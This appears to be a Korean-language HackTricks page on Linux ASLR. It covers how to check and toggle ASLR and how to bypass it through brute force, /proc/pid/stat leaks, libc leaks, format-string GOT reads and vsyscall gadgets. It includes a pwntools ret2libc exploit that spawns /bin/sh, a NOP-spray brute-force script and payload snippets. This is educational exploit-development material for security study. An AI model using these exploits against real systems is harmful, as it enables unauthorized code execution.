ASLR
Reading time: 9 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
**주소 공간 레이아웃 무작위화 (ASLR)**는 운영 체제에서 메모리 주소를 무작위화하는 보안 기술입니다. 이를 통해 공격자가 특정 프로세스와 데이터(예: 스택, 힙 및 라이브러리)의 위치를 예측하기가 훨씬 더 어려워지며, 특정 유형의 익스플로잇, 특히 버퍼 오버플로우를 완화합니다.
ASLR 상태 확인
Linux 시스템에서 ASLR 상태를 확인하려면 /proc/sys/kernel/randomize_va_space
파일에서 값을 읽을 수 있습니다. 이 파일에 저장된 값은 적용되는 ASLR의 유형을 결정합니다:
- 0: 무작위화 없음. 모든 것이 정적입니다.
- 1: 보수적 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다.
- 2: 완전 무작위화. 보수적 무작위화에 의해 무작위화된 요소 외에도
brk()
를 통해 관리되는 메모리가 무작위화됩니다.
다음 명령어로 ASLR 상태를 확인할 수 있습니다:
cat /proc/sys/kernel/randomize_va_space
ASLR 비활성화
ASLR를 비활성화하려면 /proc/sys/kernel/randomize_va_space
의 값을 0으로 설정합니다. ASLR 비활성화는 일반적으로 테스트나 디버깅 시나리오 외에서는 권장되지 않습니다. ASLR를 비활성화하는 방법은 다음과 같습니다:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
실행에 대해 ASLR을 비활성화할 수도 있습니다:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
ASLR 활성화
ASLR를 활성화하려면 /proc/sys/kernel/randomize_va_space
파일에 2 값을 기록하면 됩니다. 일반적으로 이는 루트 권한이 필요합니다. 전체 무작위화를 활성화하려면 다음 명령어를 사용할 수 있습니다:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
재부팅 간 지속성
echo
명령어로 만든 변경 사항은 일시적이며 재부팅 시 초기화됩니다. 변경 사항을 지속적으로 유지하려면 /etc/sysctl.conf
파일을 편집하고 다음 줄을 추가하거나 수정해야 합니다:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
/etc/sysctl.conf
를 편집한 후, 변경 사항을 적용하려면:
sudo sysctl -p
이것은 재부팅 간에 ASLR 설정이 유지되도록 보장합니다.
우회
32비트 무차별 대입
PaX는 프로세스 주소 공간을 3 그룹으로 나눕니다:
- 코드 및 데이터 (초기화된 및 초기화되지 않은):
.text
,.data
, 및.bss
—>delta_exec
변수에서 16 비트의 엔트로피. 이 변수는 각 프로세스와 함께 무작위로 초기화되며 초기 주소에 추가됩니다. mmap()
에 의해 할당된 메모리 및 공유 라이브러리 —> 16 비트,delta_mmap
이라고 불립니다.- 스택 —> 24 비트,
delta_stack
이라고 합니다. 그러나 실제로는 11 비트를 사용합니다 (10번째 바이트부터 20번째 바이트까지 포함), 16 바이트에 정렬됩니다 —> 이로 인해 524,288개의 가능한 실제 스택 주소가 생성됩니다.
이전 데이터는 32비트 시스템에 해당하며, 감소된 최종 엔트로피는 ASLR을 우회할 수 있게 하여 실행을 반복하여 익스플로잇이 성공적으로 완료될 때까지 시도할 수 있습니다.
무차별 대입 아이디어:
- 큰 NOP 슬레드를 쉘코드 앞에 호스팅할 수 있을 만큼 큰 오버플로우가 있다면, 스택에서 주소를 무작위로 대입하여 흐름이 NOP 슬레드의 일부를 넘어 점프할 때까지 시도할 수 있습니다.
- 오버플로우가 그리 크지 않고 익스플로잇을 로컬에서 실행할 수 있는 경우, 환경 변수에 NOP 슬레드와 쉘코드를 추가하는 옵션도 가능합니다.
- 익스플로잇이 로컬인 경우, libc의 기본 주소를 무작위로 대입해 볼 수 있습니다 (32비트 시스템에 유용함):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- 원격 서버를 공격하는 경우,
usleep
함수의libc
주소를 브루트 포스하여 10을 인수로 전달해 볼 수 있습니다(예: 10). 만약 어느 시점에서 서버가 응답하는 데 10초가 추가로 걸린다면, 이 함수의 주소를 찾은 것입니다.
tip
64비트 시스템에서는 엔트로피가 훨씬 높아지므로 이는 불가능해야 합니다.
64비트 스택 브루트 포스
환경 변수를 사용하여 스택의 큰 부분을 차지한 다음, 이를 악용하기 위해 로컬에서 수백/수천 번 이진 파일을 시도할 수 있습니다.
다음 코드는 스택에서 주소를 선택하는 것만으로 가능하며, 수백 번의 실행마다 해당 주소는 NOP 명령어를 포함하게 됩니다:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
로컬 정보 (/proc/[pid]/stat
)
프로세스의 파일 **/proc/[pid]/stat
**는 항상 모든 사람이 읽을 수 있으며, 흥미로운 정보가 포함되어 있습니다:
- startcode & endcode: 바이너리의 TEXT 위와 아래의 주소
- startstack: 스택 시작의 주소
- start_data & end_data: BSS 위와 아래의 주소
- kstkesp & kstkeip: 현재 ESP 및 EIP 주소
- arg_start & arg_end: cli arguments 위와 아래의 주소
- env_start & env_end: env variables 위와 아래의 주소
따라서, 공격자가 악용되는 바이너리와 동일한 컴퓨터에 있고 이 바이너리가 원시 인수에서 오버플로우를 기대하지 않지만, 이 파일을 읽은 후에 조작할 수 있는 다른 입력에서 오버플로우를 기대하는 경우, 공격자는 이 파일에서 일부 주소를 가져와서 이를 기반으로 오프셋을 구성할 수 있습니다.
tip
이 파일에 대한 자세한 정보는 https://man7.org/linux/man-pages/man5/proc.5.html에서 /proc/pid/stat
를 검색하여 확인하세요.
누수 발생
- 도전 과제는 누수를 제공하는 것입니다
누수를 제공받으면(쉬운 CTF 도전 과제), 이를 기반으로 오프셋을 계산할 수 있습니다(예를 들어, 공격하는 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정할 때). 이 예제 익스플로잇은 여기에서의 예제에서 발췌한 것입니다(자세한 내용은 해당 페이지를 확인하세요):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
버퍼 오버플로우를 악용하여 ret2plt를 이용해 libc의 함수 주소를 유출할 수 있습니다. 확인해 보세요:
- Format Strings Arbitrary Read
ret2plt와 마찬가지로, 포맷 문자열 취약점을 통해 임의의 읽기가 가능하다면 GOT에서 libc 함수의 주소를 유출할 수 있습니다. 다음 예시는 여기에서 가져온 것입니다:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
더 많은 정보는 Format Strings 임의 읽기에 대해 다음에서 찾을 수 있습니다:
Ret2ret & Ret2pop
스택 내 주소를 악용하여 ASLR을 우회해 보십시오:
vsyscall
vsyscall
메커니즘은 특정 시스템 호출이 사용자 공간에서 실행될 수 있도록 하여 성능을 향상시키는 역할을 합니다. 이들은 본질적으로 커널의 일부입니다. vsyscalls의 주요 장점은 ASLR(주소 공간 레이아웃 무작위화)의 영향을 받지 않는 고정 주소에 있습니다. 이러한 고정된 특성 덕분에 공격자는 주소를 결정하고 이를 익스플로잇에 사용할 정보 유출 취약점이 필요하지 않습니다.
그러나 여기에서 매우 흥미로운 가젯은 발견되지 않을 것입니다(예를 들어 ret;
와 동등한 것을 얻는 것은 가능하지만).
(다음 예제와 코드는 이 작성물에서 가져온 것입니다)
예를 들어, 공격자는 익스플로잇 내에서 주소 0xffffffffff600800
을 사용할 수 있습니다. ret
명령어로 직접 점프하려고 하면 몇 개의 가젯을 실행한 후 불안정성이나 충돌이 발생할 수 있지만, vsyscall 섹션에서 제공하는 syscall
의 시작으로 점프하면 성공할 수 있습니다. 이 vsyscall 주소로 실행을 이끄는 ROP 가젯을 신중하게 배치함으로써, 공격자는 이 익스플로잇 부분에 대해 ASLR을 우회할 필요 없이 코드 실행을 달성할 수 있습니다.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
따라서 커널이 CONFIG_COMPAT_VDSO로 컴파일된 경우 vdso를 악용하여 ASLR을 우회할 수 있는 방법을 주목하십시오. 더 많은 정보는 다음을 확인하십시오:
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.